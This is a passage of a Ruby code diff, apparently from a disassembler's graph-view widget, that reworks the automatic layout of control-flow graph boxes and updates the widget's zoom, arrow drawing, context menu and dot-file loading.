to walk + ilist = [maxidx] + ilist.concat((maxidx+1...layers.length).to_a) if maxidx < layers.length-1 + ilist.concat((0..maxidx-1).to_a.reverse) if maxidx > 0 + layerbox = [] + ilist.each { |i| + l = layers[i] + curlw = l.inject(0) { |ll, g| ll + g.w } + # left/rightmost acceptable position for the current box w/o overflowing on the right side + minx = -maxlw/2.0 + maxx = minx + (maxlw-curlw) + + # replace whole layer with a box + newg = layerbox[i] = Box.new(nil, l.map { |g| g.content }.flatten) + newg.w = maxlw + newg.h = l.map { |g| g.h }.max + newg.x = -newg.w/2 + newg.y = -newg.h/2 + # dont care for from/to, we'll return a single box anyway + + l.each { |g| + ref = (i < maxidx) ? g.to : g.from + # TODO elastic positionning around the ideal position + # (g and g+1 may have the same med, then center both on it) + if i == maxidx + nx = minx + elsif ref.empty? + nx = (minx+maxx)/2 + else + # center on the outline of rx + # may want to center on rx center's center ? + rx = ref.sort_by { |gg| gg.x } + med = (rx.first.x + rx.last.x + rx.last.w - g.w) / 2.0 + nx = [[med, minx].max, maxx].min + end + dx = nx+g.w/2 + g.content.each { |b| b.x += dx } + minx = nx+g.w + maxx += g.w + } + } + + newg = Box.new(nil, layerbox.map { |g| g.content }.flatten) + newg.w = layerbox.map { |g| g.w }.max + newg.h = layerbox.inject(0) { |h, g| h + g.h } + newg.x = -newg.w/2 + newg.y = -newg.h/2 + + # vertical: just center each box on its layer + y0 = newg.y + layerbox.each { |lg| + lg.content.each { |b| + b.y += y0-lg.y + } + y0 += lg.h + } + + groups.replace [newg] + end + + # place boxes in a good-looking layout - def auto_arrange_init(list=@box) - # groups is an array of box groups + # create artificial 'group' container for boxes, that will later be merged in geometrical patterns + def auto_arrange_init + # 'group' is an array of boxes # all groups are centered on the origin - @groups = list.map { |b| + h = {} # { box => group } + @groups = @box.map { |b| b.x = -b.w/2 b.y = -b.h/2 g = Box.new(nil, [b]) @@ -69,6 +631,7 @@ class Graph g.y = b.y - 9 g.w = b.w + 16 g.h = b.h + 18 + h[b] = g g } @@ -77,394 +640,101 @@ class Graph # no self references # a box is in one and only one group in 'groups' @groups.each { |g| - g.to = g.content.first.to.map { |t| next if not t = list.index(t) ; @groups[t] }.compact - [g] - g.from = g.content.first.from.map { |f| next if not f = list.index(f) ; @groups[f] }.compact - [g] + g.to = g.content.first.to.map { |t| h[t] if t != g }.compact + g.from = g.content.first.from.map { |f| h[f] if f != g }.compact } - # walk from a box, fork at each multiple to, chop links to a previous box (loops etc) - @madetree = false + # order boxes + order = order_graph(@groups) + + # remove cycles from the graph + make_tree(@groups, order) end - # gives a text representation of the current graph state - def dump_layout(groups=@groups) - groups.map { |g| "#{groups.index(g)} -> #{g.to.map { |t| groups.index(t) }.sort.inspect}" } + def auto_arrange_step(groups=@groups) + pattern_layout_col(groups) or pattern_layout_line(groups) or + pattern_layout_ifend(groups) or pattern_layout_complex(groups) or + layout_layers(groups) end - def auto_arrange_step - # TODO fix - # 0->[1, 2] 1->[3] 2->[3, 4] 3->[] 4->[1] - # push 0 jz l3 push 1 jz l4 push 2 l3: push 3 l4: hlt - # and more generally all non-looping graphs where this algo creates backward links - - groups = @groups - return if groups.length <= 1 - - maketree = lambda { |roots| - next if @madetree - @madetree = true - - maxdepth = {} # max arc count to reach this box from graph start (excl loop) - - trim = lambda { |g, from| - # unlink g from (part of) its from - from.each { |gg| gg.to.delete g } - g.from -= from - } - - walk = lambda { |g| - # score - parentdepth = g.from.map { |gg| maxdepth[gg] } - if parentdepth.empty? - # root - maxdepth[g] = 0 - elsif parentdepth.include? nil - # not farthest parent found / loop - next - # elsif maxdepth[g] => ? - else - maxdepth[g] = parentdepth.max + 1 - end - g.to.each { |gg| walk[gg] } - } - - roots.each { |g| trim[g, g.from] unless g.from.empty? } - roots.each { |g| walk[g] } - - # handle loops now (unmarked nodes) - while unmarked = groups - maxdepth.keys and not unmarked.empty? - if g = unmarked.find { |g_| g_.from.find { |gg| maxdepth[gg] } } - # loop head - trim[g, g.from.find_all { |gg| not maxdepth[gg] }] # XXX not quite sure for this - walk[g] - else - # disconnected subgraph - g = unmarked.find { |g_| g_.from.empty? } || unmarked.first - trim[g, g.from] - maxdepth[g] = 0 - walk[g] - end - end - } - - # concat all ary boxes into its 1st element, remove trailing groups from 'groups' - # updates from/to - merge_groups = lambda { |ary| - bg = Box.new(nil, []) - bg.x, bg.y = ary.map { |g| g.x }.min, ary.map { |g| g.y }.min - bg.w, bg.h = ary.map { |g| g.x+g.w }.max - bg.x, ary.map { |g| g.y+g.h }.max - bg.y - ary.each { |g| - bg.content.concat g.content - bg.to |= g.to - bg.from |= g.from - } - bg.to -= ary - bg.to.each { |t| t.from = t.from - ary + [bg] } - bg.from -= ary - bg.from.each { |f| f.to = f.to - ary + [bg] } - idx = ary.map { |g| groups.index(g) }.min - groups = @groups = groups - ary - groups.insert(idx, bg) - bg - } - - # move all boxes within group of dx, dy - move_group = lambda { |g, dx, dy| - g.content.each { |b| b.x += dx ; b.y += dy } - g.x += dx ; g.y += dy - } - - align_hz = lambda { |ary| - # if we have one of the block much bigger than the others, put it on the far right - big = ary.sort_by { |g| g.h }.last - if (ary-[big]).all? { |g| g.h < big.h/3 } - ary -= [big] - else - big = nil - end - nx = ary.map { |g| g.w }.inject(0) { |a, b| a+b } / -2 - nx *= 2 if big and ary.length == 1 # just put the parent on the separation of the 2 child - ary.each { |g| - move_group[g, nx-g.x, 0] - nx += g.w - } - move_group[big, nx-big.x, 0] if big - } - align_vt = lambda { |ary| - ny = ary.map { |g| g.h }.inject(0) { |a, b| a+b } / -2 - ary.each { |g| - move_group[g, 0, ny-g.y] - ny += g.h - } - } - - # scan groups for a column pattern (head has 1 'to' which from == [head]) - group_columns = lambda { - groups.find { |g| - next if g.from.length == 1 and g.from.first.to.length == 1 - ary = [g] - ary << (g = g.to.first) while g.to.length == 1 and g.to.first.from.length == 1 - next if ary.length <= 1 - align_vt[ary] - merge_groups[ary] - true - } - } - - # scan groups for a line pattern (multiple groups with same to & same from) - group_lines = lambda { |strict| - if groups.all? { |g1| g1.from.empty? and g1.to.empty? } - # disjoint subgraphs - align_hz[groups] - merge_groups[groups] - next true - end - - groups.find { |g1| - ary = g1.from.map { |gg| gg.to }.flatten.uniq.find_all { |gg| - gg != g1 and - (gg.from - g1.from).empty? and (g1.from - gg.from).empty? and - (strict ? ((gg.to - g1.to).empty? and (g1.to - gg.to).empty?) : (g1.to & gg.to).first) - } - ary = g1.to.map { |gg| gg.from }.flatten.uniq.find_all { |gg| - gg != g1 and - (gg.to - g1.to).empty? and (g1.to - gg.to).empty? and - (strict ? ((gg.from - g1.from).empty? and (g1.from - gg.from).empty?) : (g1.from & gg.from).first) - } if ary.empty? - next if ary.empty? - ary << g1 - dy = 16*ary.map { |g| g.to.length + g.from.length }.inject { |a, b| a+b } - ary.each { |g| g.h += dy ; g.y -= dy/2 } - align_hz[ary] - if ary.first.to.empty? # shrink graph if highly dissymetric and to.empty? - ah = ary.map { |g| g.h }.max - ary.each { |g| - move_group[g, 0, (g.h-ah)/2] # move up - next if not p = ary[ary.index(g)-1] - y = [g.y, p.y].min # shrink width - h = [g.h, p.h].min - xp = p.content.map { |b| b.x+b.w if b.y+b.h+8 >= y and b.y-8 <= y+h }.compact.max || p.x+p.w/2 - xg = g.content.map { |b| b.x if b.y+b.h+8 >= y and b.y-8 <= y+h }.compact.min || g.x+g.w/2 - dx = xg-xp-24 - next if dx <= 0 - ary.each { |gg| - dx = -dx if gg == g - move_group[gg, dx/2, 0] - } - if p.x+p.w > ary.last.x+ary.last.w or ary.first.x > g.x # fix broken centerism - x = [g.x, ary.first.x].min - xm = [p.x+p.w, ary.last.x+ary.last.w].max - ary.each { |gg| move_group[gg, (x+xm)/-2, 0] } - end - } - end - merge_groups[ary] - true - } - } - - group_inv_if = {} - - # scan groups for a if/then pattern (1 -> 2 -> 3 & 1 -> 3) - group_ifthen = lambda { |strict| - groups.reverse.find { |g| - next if not g2 = g.to.find { |g2_| (g2_.to.length == 1 and g.to.include?(g2_.to.first)) or - (not strict and g2_.to.empty?) } - next if strict and g2.from != [g] or g.to.length != 2 - g2.h += 16 ; g2.y -= 8 - align_vt[[g, g2]] - dx = -g2.x+8 - dx -= g2.w+16 if group_inv_if[g] - move_group[g2, dx, 0] - merge_groups[[g, g2]] - true - } - } - - # if (a || b) c; - # the 'else' case handles '&& else', and && is two if/then nested - group_or = lambda { |strict| - groups.find { |g| - next if g.to.length != 2 - g2 = g.to[0] - g2 = g.to[1] if not g2.to.include? g.to[1] - thn = (g.to & g2.to).first - next if g2.to.length != 2 or not thn or thn.to.length != 1 - els = (g2.to - [thn]).first - if thn.to == [els] - els = nil - elsif els.to != thn.to - next if strict - align_vt[[g, g2]] - merge_groups[[g, g2]] - break true - else - align_hz[[thn, els]] - thn = merge_groups[[thn, els]] - end - thn.h += 16 ; thn.y -= 8 - align_vt[[g, g2, thn]] - move_group[g2, -g2.x, 0] - move_group[thn, thn.x-8, 0] if not els - merge_groups[[g, g2, thn]] - true - } - } - - - # loop with exit 1 -> 2, 3 & 2 -> 1 - group_loop = lambda { - groups.find { |g| - next if not g2 = g.to.sort_by { |g2_| g2_.h }.find { |g2_| g2_.to == [g] or (g2_.to.empty? and g2_.from == [g]) } - g2.h += 16 - align_vt[[g, g2]] - move_group[g2, g2.x-8, 0] - merge_groups[[g, g2]] - true - } - } - - # same single from or to - group_halflines = lambda { - ary = nil - if groups.find { |g| ary = g.from.find_all { |gg| gg.to == [g] } and ary.length > 1 } or - groups.find { |g| ary = g.to.find_all { |gg| gg.from == [g] } and ary.length > 1 } - align_hz[ary] - merge_groups[ary] - true - end - } - - - # unknown pattern, group as we can.. - group_other = lambda { -puts 'graph arrange: unknown configuration', dump_layout - g1 = groups.find_all { |g| g.from.empty? } - g1 << groups[rand(groups.length)] if g1.empty? - g2 = g1.map { |g| g.to }.flatten.uniq - g1 - align_vt[g1] - g1 = merge_groups[g1] - g1.w += 128 ; g1.x -= 64 - next if g2.empty? - align_vt[g2] - g2 = merge_groups[g2] - g2.w += 128 ; g2.x -= 64 - - align_hz[[g1, g2]] - merge_groups[[g1, g2]] - true - } - - # check constructs with multiple blocks with to to end block (a la break;) - ign_break = lambda { - can_reach = lambda { |b1, b2, term| - next if b1 == term - done = [term] - todo = b1.to.dup - while t = todo.pop - next if done.include? t - done << t - break true if t == b2 - todo.concat t.to - end - } - can_reach_unidir = lambda { |b1, b2, term| can_reach[b1, b2, term] and not can_reach[b2, b1, term] } - groups.find { |g| - f2 = nil - if (g.from.length > 2 and f3 = g.from.find { |f| f.to == [g] } and f1 = g.from.find { |f| - f2 = g.from.find { |ff| can_reach_unidir[ff, f3, g] and can_reach_unidir[f, ff, g] }}) or - (g.to.length > 2 and f3 = g.to.find { |f| f.from == [g] } and f1 = g.to.find { |f| - f2 = g.to.find { |ff| can_reach_unidir[f3, ff, g] and can_reach_unidir[ff, f, g] }}) - group_inv_if[f1] = true - if f3.to == [g] - g.from.delete f2 - f2.to.delete g - else - g.to.delete f2 - f2.from.delete g - end - true - end - } - } - - # walk graph from roots, cut backward links - trim_graph = lambda { - next true if ign_break[] - g1 = groups.find_all { |g| g.from.empty? } - g1 << groups.first if g1.empty? - cntpre = groups.inject(0) { |cntpre_, g| cntpre_ + g.to.length } - g1.each { |g| maketree[[g]] } - cntpost = groups.inject(0) { |cntpre_, g| cntpre_ + g.to.length } - true if cntpre != cntpost - } - - # known, clean patterns - group_clean = lambda { - group_columns[] or group_lines[true] or group_ifthen[true] or group_loop[] or group_or[true] - } - # approximations - group_unclean = lambda { - group_lines[false] or group_or[false] or group_halflines[] or group_ifthen[false] or group_other[] - } - - group_clean[] or trim_graph[] or group_unclean[] - end - - # the boxes have been almost put in place, here we soften a little the result & arrange some qwirks def auto_arrange_post - # entrypoint should be above other boxes, same for exitpoints - @box.each { |b| - if b.from == [] - chld = b.to - chld = @box - [b] if not @box.find { |bb| bb != b and bb.from == [] } - chld.each { |t| b.y = t.y - b.h - 16 if t.y < b.y+b.h } - end - if b.to == [] - chld = b.from - chld = @box - [b] if not @box.find { |bb| bb != b and bb.to == [] } - chld.each { |f| b.y = f.y + f.h + 16 if f.y+f.h > b.y } - end - } + auto_arrange_movebox + #auto_arrange_vertical_shrink + end - boxxy = @box.sort_by { |bb| bb.y } - # fill gaps that we created - @box.each { |b| - bottom = b.y+b.h - next if not follower = boxxy.find { |bb| bb.y+bb.h > bottom } - - # preserve line[] constructs margins - gap = follower.y-16*follower.from.length - (bottom+16*b.to.length) - next if gap <= 0 - - @box.each { |bb| - if bb.y+bb.h <= bottom - bb.y += gap/2 - else - bb.y -= gap/2 - end + # actually move boxes inside the groups + def auto_arrange_movebox + @groups.each { |g| + dx = (g.x + g.w/2).to_i + dy = (g.y + g.h/2).to_i + g.content.each { |b| + b.x += dx + b.y += dy } - boxxy = @box.sort_by { |bb| bb.y } - } - - @box[0,0].each { |b| - # TODO elastic positionning (ignore up arrows ?) & collision detection (box/box + box/arrow) - f = b.from[0] - t = b.to[0] - if b.to.length == 1 and b.from.length == 1 and b.y+b.hf.y+f.h - wx = (t.x+t.w/2 + f.x+f.w/2)/2 - b.w/2 - wy = (t.y + f.y+f.h)/2 - b.h/2 - b.x += (wx-b.x)/5 - b.y += (wy-b.y)/5 - end + } + end + + def auto_arrange_vertical_shrink + # vertical shrink + # TODO stuff may shrink vertically more if we could move it slightly horizontally... + @box.sort_by { |b| b.y }.each { |b| + + next if b.from.empty? + # move box up to its from, unless something blocks the way + + min_y = b.from.map { |bb| + bb.y+bb.h + }.find_all { |by| + by <= b.y + }.max + + moo = [] + moo << 8*b.from.length + moo << 8*b.from[0].to.length + cx = b.x+b.w/2 + moo << b.from.map { |bb| (cx - (bb.x+bb.w/2)).abs }.max / 10 + cx = b.from[0].x+b.from[0].w/2 + moo << b.from[0].to.map { |bb| (cx - (bb.x+bb.w/2)).abs }.max / 10 + margin_y = 16 + moo.max + + next if not min_y or b.y <= min_y + margin_y + + blocking = @box.find_all { |bb| + next if bb == b + bb.y+bb.h > min_y and bb.y+bb.h < b.y and + bb.x-12 < b.x+b.w and bb.x+bb.w+12 > b.x + } + + may_y = blocking.map { |bb| bb.y+bb.h } << min_y + + do_y = may_y.sort.map { |by| by + margin_y }.find { |by| + # should not collision with b if moved to by+margin_y + not blocking.find { |bb| + bb.x-12 < b.x+b.w and bb.x+bb.w+12 > b.x and + bb.y-12 < by+b.h and bb.y+bb.h+12 > by + } + } + + b.y = do_y if do_y < b.y + + # no need to re-sort outer loop } + # TODO + # energy-minimal positionning of boxes from this basic layout + # avoid arrow confusions end def auto_arrange_boxes auto_arrange_init nil while @groups.length > 1 and auto_arrange_step - @groups = [] auto_arrange_post + @groups = [] + end + + # gives a text representation of the current graph state + def dump_layout(groups=@groups) + groups.map { |g| "#{groups.index(g)} -> #{g.to.map { |t| groups.index(t) }.sort.inspect}" } end end @@ -488,23 +758,27 @@ class GraphViewWidget < DrawableWidget @shown_boxes = [] @mousemove_origin = @mousemove_origin_ctrl = nil @curcontext = Graph.new(nil) + @want_focus_addr = nil @margin = 8 @zoom = 1.0 - @default_color_association = { :background => :paleblue, :hlbox_bg => :palegrey, :box_bg => :white, - :text => :black, :arrow_hl => :red, :comment => :darkblue, :address => :darkblue, - :instruction => :black, :label => :darkgreen, :caret => :black, :hl_word => :palered, - :cursorline_bg => :paleyellow, :arrow_cond => :darkgreen, :arrow_uncond => :darkblue, - :arrow_direct => :darkred } + @default_color_association = ColorTheme.merge :hlbox_bg => :palegrey, :box_bg => :white, + :arrow_hl => :red, :arrow_cond => :darkgreen, :arrow_uncond => :darkblue, + :arrow_direct => :darkred, :box_bg_shadow => :black, :background => :paleblue # @othergraphs = ? (to keep user-specified formatting) end + def view_x; @curcontext.view_x; end + def view_x=(vx); @curcontext.view_x = vx; end + def view_y; @curcontext.view_y; end + def view_y=(vy); @curcontext.view_y = vy; end + def resized(w, h) redraw end def find_box_xy(x, y) - x = @curcontext.view_x+x/@zoom - y = @curcontext.view_y+y/@zoom + x = view_x+x/@zoom + y = view_y+y/@zoom @shown_boxes.to_a.reverse.find { |b| b.x <= x and b.x+b.w > x and b.y <= y-1 and b.y+b.h > y+1 } end @@ -512,6 +786,7 @@ class GraphViewWidget < DrawableWidget case dir when :up if @zoom < 100 + # zoom in oldzoom = @zoom @zoom *= 1.1 @zoom = 1.0 if (@zoom-1.0).abs < 0.05 @@ -519,7 +794,8 @@ class GraphViewWidget < DrawableWidget @curcontext.view_y += (y / oldzoom - y / @zoom) end when :down - if @zoom > 1.0/100 + if @zoom > 1.0/1000 + # zoom out oldzoom = @zoom @zoom /= 1.1 @zoom = 1.0 if (@zoom-1.0).abs < 0.05 @@ -557,10 +833,10 @@ class GraphViewWidget < DrawableWidget @mousemove_origin = nil if @mousemove_origin_ctrl - x1 = @curcontext.view_x + @mousemove_origin_ctrl[0]/@zoom + x1 = view_x + @mousemove_origin_ctrl[0]/@zoom x2 = x1 + (x - @mousemove_origin_ctrl[0])/@zoom x1, x2 = x2, x1 if x1 > x2 - y1 = @curcontext.view_y + @mousemove_origin_ctrl[1]/@zoom + y1 = view_y + @mousemove_origin_ctrl[1]/@zoom y2 = y1 + (y - @mousemove_origin_ctrl[1])/@zoom y1, y2 = y2, y1 if y1 > y2 @selected_boxes |= @curcontext.box.find_all { |b| b.x >= x1 and b.x + b.w <= x2 and b.y >= y1 and b.y + b.h <= y2 } @@ -587,8 +863,8 @@ class GraphViewWidget < DrawableWidget if b = find_box_xy(x, y) @selected_boxes = [b] if not @selected_boxes.include? b @caret_box = b - @caret_x = (@curcontext.view_x+x/@zoom-b.x-1).to_i / @font_width - @caret_y = (@curcontext.view_y+y/@zoom-b.y-1).to_i / @font_height + @caret_x = (view_x+x/@zoom-b.x-1).to_i / @font_width + @caret_y = (view_y+y/@zoom-b.y-1).to_i / @font_height update_caret else @selected_boxes = [] @@ -597,22 +873,43 @@ class GraphViewWidget < DrawableWidget redraw end + def setup_contextmenu(b, m) + cm = new_menu + addsubmenu(cm, 'copy _word') { clipboard_copy(@hl_word) if @hl_word } + addsubmenu(cm, 'copy _line') { clipboard_copy(@caret_box[:line_text_col][@caret_y].map { |ss, cc| ss }.join) } + addsubmenu(cm, 'copy _box') { + sb = @selected_boxes + sb = [@curbox] if sb.empty? + clipboard_copy(sb.map { |ob| ob[:line_text_col].map { |s| s.map { |ss, cc| ss }.join + "\r\n" }.join }.join("\r\n")) + } # XXX auto \r\n vs \n + addsubmenu(m, '_clipboard', cm) + addsubmenu(m, 'clone _window') { @parent_widget.clone_window(@hl_word, :graph) } + addsubmenu(m, 'show descendants only') { hide_non_descendants(@selected_boxes) } + addsubmenu(m, 'show ascendants only') { hide_non_ascendants(@selected_boxes) } + addsubmenu(m, 'restore graph') { gui_update } + end + # if the target is a call to a subfunction, open a new window with the graph of this function (popup) def rightclick(x, y) if b = find_box_xy(x, y) and @zoom >= 0.90 and @zoom <= 1.1 click(x, y) @mousemove_origin = nil - @parent_widget.clone_window(@hl_word, :graph) + m = new_menu + setup_contextmenu(b, m) + if @parent_widget.respond_to?(:extend_contextmenu) + @parent_widget.extend_contextmenu(self, m, @caret_box[:line_address][@caret_y]) + end + popupmenu(m, x, y) end end def doubleclick(x, y) + @mousemove_origin = nil if b = find_box_xy(x, y) - @mousemove_origin = nil if @hl_word and @zoom >= 0.90 and @zoom <= 1.1 @parent_widget.focus_addr(@hl_word) else - @parent_widget.focus_addr b[:addresses].first + @parent_widget.focus_addr((b[:addresses] || b[:line_address]).first) end elsif doubleclick_check_arrow(x, y) elsif @zoom == 1.0 @@ -628,20 +925,21 @@ class GraphViewWidget < DrawableWidget # check if the user clicked on the beginning/end of an arrow, if so focus on the other end def doubleclick_check_arrow(x, y) return if @margin*@zoom < 2 - x = @curcontext.view_x+x/@zoom - y = @curcontext.view_y+y/@zoom + x = view_x+x/@zoom + y = view_y+y/@zoom sx = nil if bt = @shown_boxes.to_a.reverse.find { |b| y >= b.y+b.h-1 and y <= b.y+b.h-1+@margin+2 and sx = b.x+b.w/2 - b.to.length/2 * @margin/2 and - x >= sx-@margin/2 and x <= sx+b.to.length*@margin/2 # should be margin/4, but add a little comfort margin + x >= sx-@margin/2 and x <= sx+b.to.length*@margin/2 # should be margin/4, but add a little comfort margin } idx = (x-sx+@margin/4).to_i / (@margin/2) idx = 0 if idx < 0 idx = bt.to.length-1 if idx >= bt.to.length if bt.to[idx] if @parent_widget - @parent_widget.focus_addr bt.to[idx][:line_address][0] + @caret_box, @caret_y = bt, bt[:line_address].length-1 + @parent_widget.focus_addr bt.to[idx][:line_address][0] else focus_xy(bt.to[idx].x, bt.to[idx].y) end @@ -650,14 +948,15 @@ class GraphViewWidget < DrawableWidget elsif bf = @shown_boxes.to_a.reverse.find { |b| y >= b.y-@margin-2 and y <= b.y and sx = b.x+b.w/2 - b.from.length/2 * @margin/2 and - x >= sx-@margin/2 and x <= sx+b.from.length*@margin/2 + x >= sx-@margin/2 and x <= sx+b.from.length*@margin/2 } idx = (x-sx+@margin/4).to_i / (@margin/2) idx = 0 if idx < 0 idx = bf.from.length-1 if idx >= bf.from.length if bf.from[idx] if @parent_widget - @parent_widget.focus_addr bf.from[idx][:line_address][-1] + @caret_box, @caret_y = bf, bf[:line_address].length-1 + @parent_widget.focus_addr bf.from[idx][:line_address][-1] else focus_xy(bt.from[idx].x, bt.from[idx].y) end @@ -668,10 +967,12 @@ class GraphViewWidget < DrawableWidget # update the zoom & view_xy to show the whole graph in the window def zoom_all - minx = @curcontext.box.map { |b| b.x }.min.to_i - 10 - miny = @curcontext.box.map { |b| b.y }.min.to_i - 10 - maxx = @curcontext.box.map { |b| b.x + b.w }.max.to_i + 10 - maxy = @curcontext.box.map { |b| b.y + b.h }.max.to_i + 10 + minx, miny, maxx, maxy = @curcontext.boundingbox + minx -= @margin + miny -= @margin + maxx += @margin + maxy += @margin + @zoom = [width.to_f/(maxx-minx), height.to_f/(maxy-miny)].min @zoom = 1.0 if @zoom > 1.0 or (@zoom-1.0).abs < 0.1 @curcontext.view_x = minx + (maxx-minx-width/@zoom)/2 @@ -699,9 +1000,10 @@ class GraphViewWidget < DrawableWidget } @shown_boxes = [] - w_w, w_h = width, height + w_w = width + w_h = height @curcontext.box.each { |b| - next if b.x >= @curcontext.view_x+w_w/@zoom or b.y >= @curcontext.view_y+w_h/@zoom or b.x+b.w <= @curcontext.view_x or b.y+b.h <= @curcontext.view_y + next if b.x >= view_x+w_w/@zoom or b.y >= view_y+w_h/@zoom or b.x+b.w <= view_x or b.y+b.h <= view_y @shown_boxes << b paint_box(b) } @@ -720,9 +1022,10 @@ class GraphViewWidget < DrawableWidget end def paint_arrow(b1, b2) - x1, y1 = b1.x+b1.w/2-@curcontext.view_x, b1.y+b1.h-@curcontext.view_y - x2, y2 = b2.x+b2.w/2-@curcontext.view_x, b2.y-1-@curcontext.view_y - x1o, x2o = x1, x2 + x1 = x1o = b1.x+b1.w/2-view_x + y1 = b1.y+b1.h-view_y + x2 = x2o = b2.x+b2.w/2-view_x + y2 = b2.y-1-view_y margin = @margin x1 += (-(b1.to.length-1)/2 + b1.to.index(b2)) * margin/2 x2 += (-(b2.from.length-1)/2 + b2.from.index(b1)) * margin/2 @@ -730,12 +1033,6 @@ class GraphViewWidget < DrawableWidget margin, x1, y1, x2, y2, b1w, b2w, x1o, x2o = [margin, x1, y1, x2, y2, b1.w, b2.w, x1o, x2o].map { |v| v*@zoom } - # XXX gtk wraps coords around 0x8000 - if x1.abs > 0x7000 ; y1 /= x1.abs/0x7000 ; x1 /= x1.abs/0x7000 ; end - if y1.abs > 0x7000 ; x1 /= y1.abs/0x7000 ; y1 /= y1.abs/0x7000 ; end - if x2.abs > 0x7000 ; y2 /= x2.abs/0x7000 ; x2 /= x2.abs/0x7000 ; end - if y2.abs > 0x7000 ; x2 /= y2.abs/0x7000 ; y2 /= y2.abs/0x7000 ; end - # straighten vertical arrows if possible if y2 > y1 and (x1-x2).abs <= margin if b1.to.length == 1 @@ -755,26 +1052,13 @@ class GraphViewWidget < DrawableWidget y1 += margin y2 -= margin-1 end - if y2+margin >= y1-margin-1 - # straight vertical down arrow + + if y2 > y1 - b1.h*@zoom - 2*margin+1 + # straight arrow draw_line(x1, y1, x2, y2) if x1 != y1 or x2 != y2 - # else arrow up, need to sneak around boxes - elsif x1o-b1w/2-margin >= x2o+b2w/2+margin # z - draw_line(x1, y1, x1o-b1w/2-margin, y1) - draw_line(x1o-b1w/2-margin, y1, x2o+b2w/2+margin, y2) - draw_line(x2o+b2w/2+margin, y2, x2, y2) - draw_line(x1, y1+1, x1o-b1w/2-margin, y1+1) # double - draw_line(x1o-b1w/2-margin+1, y1, x2o+b2w/2+margin+1, y2) - draw_line(x2o+b2w/2+margin, y2+1, x2, y2+1) - elsif x1+b1w/2+margin <= x2-b2w/2-margin # invert z - draw_line(x1, y1, x1o+b1w/2+margin, y1) - draw_line(x1o+b1w/2+margin, y1, x2o-b2w/2-margin, y2) - draw_line(x2o-b2w/2-margin, y2, x2, y2) - draw_line(x1, y1+1, x1+b1w/2+margin, y1+1) # double - draw_line(x1o+b1w/2+margin+1, y1, x2o-b2w/2-margin+1, y2) - draw_line(x2o-b2w/2-margin, y2+1, x2, y2+1) - else # turn around + else + # arrow goes up: navigate around b2 x = (x1 <= x2 ? [x1o-b1w/2-margin, x2o-b2w/2-margin].min : [x1o+b1w/2+margin, x2o+b2w/2+margin].max) draw_line(x1, y1, x, y1) draw_line(x, y1, x, y2) @@ -786,7 +1070,7 @@ class GraphViewWidget < DrawableWidget end def set_color_boxshadow(b) - draw_color :black + draw_color :box_bg_shadow end def set_color_box(b) @@ -799,28 +1083,29 @@ class GraphViewWidget < DrawableWidget def paint_box(b) set_color_boxshadow(b) - draw_rectangle((b.x-@curcontext.view_x+3)*@zoom, (b.y-@curcontext.view_y+4)*@zoom, b.w*@zoom, b.h*@zoom) + draw_rectangle((b.x-view_x+3)*@zoom, (b.y-view_y+4)*@zoom, b.w*@zoom, b.h*@zoom) set_color_box(b) - draw_rectangle((b.x-@curcontext.view_x)*@zoom, (b.y-@curcontext.view_y+1)*@zoom, b.w*@zoom, b.h*@zoom) + draw_rectangle((b.x-view_x)*@zoom, (b.y-view_y+1)*@zoom, b.w*@zoom, b.h*@zoom) # current text position - x = (b.x - @curcontext.view_x + 1)*@zoom - y = (b.y - @curcontext.view_y + 1)*@zoom - w_w = (b.x - @curcontext.view_x + b.w - @font_width)*@zoom - w_h = (b.y - @curcontext.view_y + b.h - @font_height)*@zoom + x = (b.x - view_x + 1)*@zoom + y = (b.y - view_y + 1)*@zoom + w_w = (b.x - view_x + b.w - @font_width)*@zoom + w_h = (b.y - view_y + b.h - @font_height)*@zoom + w_h = height if w_h > height if @parent_widget and @parent_widget.bg_color_callback ly = 0 b[:line_address].each { |a| if c = @parent_widget.bg_color_callback[a] - draw_rectangle_color(c, (b.x-@curcontext.view_x)*@zoom, (1+b.y-@curcontext.view_y+ly*@font_height)*@zoom, b.w*@zoom, (@font_height*@zoom).ceil) + draw_rectangle_color(c, (b.x-view_x)*@zoom, (1+b.y-view_y+ly*@font_height)*@zoom, b.w*@zoom, (@font_height*@zoom).ceil) end ly += 1 } end if @caret_box == b - draw_rectangle_color(:cursorline_bg, (b.x-@curcontext.view_x)*@zoom, (1+b.y-@curcontext.view_y+@caret_y*@font_height)*@zoom, b.w*@zoom, @font_height*@zoom) + draw_rectangle_color(:cursorline_bg, (b.x-view_x)*@zoom, (1+b.y-view_y+@caret_y*@font_height)*@zoom, b.w*@zoom, @font_height*@zoom) end return if @zoom < 0.99 or @zoom > 1.1 @@ -829,33 +1114,22 @@ class GraphViewWidget < DrawableWidget # renders a string at current cursor position with a color # must not include newline render = lambda { |str, color| - # function ends when we write under the bottom of the listing next if y >= w_h+2 or x >= w_w - if @hl_word - stmp = str - pre_x = 0 - while stmp =~ /^(.*?)(\b#{Regexp.escape @hl_word}\b)/ - s1, s2 = $1, $2 - pre_x += s1.length * @font_width - hl_x = s2.length * @font_width - draw_rectangle_color(:hl_word, x+pre_x, y, hl_x, @font_height*@zoom) - pre_x += hl_x - stmp = stmp[s1.length+s2.length..-1] - end - end - draw_string_color(color, x, y, str) + draw_string_hl(color, x, y, str) x += str.length * @font_width } + yoff = @font_height * @zoom b[:line_text_col].each { |list| - list.each { |s, c| render[s, c] } - x = (b.x - @curcontext.view_x + 1)*@zoom - y += @font_height*@zoom + list.each { |s, c| render[s, c] } if y >= -yoff + x = (b.x - view_x + 1)*@zoom + y += yoff + break if y > w_h+2 } if b == @caret_box and focus? - cx = (b.x - @curcontext.view_x + 1 + @caret_x*@font_width)*@zoom - cy = (b.y - @curcontext.view_y + 1 + @caret_y*@font_height)*@zoom + cx = (b.x - view_x + 1 + @caret_x*@font_width)*@zoom + cy = (b.y - view_y + 1 + @caret_y*@font_height)*@zoom draw_line_color(:caret, cx, cy, cx, cy+(@font_height-1)*@zoom) end end @@ -894,33 +1168,33 @@ class GraphViewWidget < DrawableWidget end def load_dotfile(path) + load_dot(File.read(path)) + end + + def load_dot(dota) @want_update_graph = false @curcontext.clear boxes = {} new_box = lambda { |text| b = @curcontext.new_box(text, :line_text_col => [[[text, :text]]]) - b.w = text.length * @font_width + b.w = (text.length+1) * @font_width b.h = @font_height b } - max = File.size(path) - i = 0 - File.open(path) { |fd| - while l = fd.gets - case l.strip - when /^"?(\w+)"?\s*->\s*"?(\w+)"?;?$/ - b1 = boxes[$1] ||= new_box[$1] - b2 = boxes[$2] ||= new_box[$2] - b1.to |= [b2] - b2.from |= [b1] - end -$stderr.printf("%.02f\r" % (fd.pos*100.0/max)) if (i += 1) & 0xff == 0 + 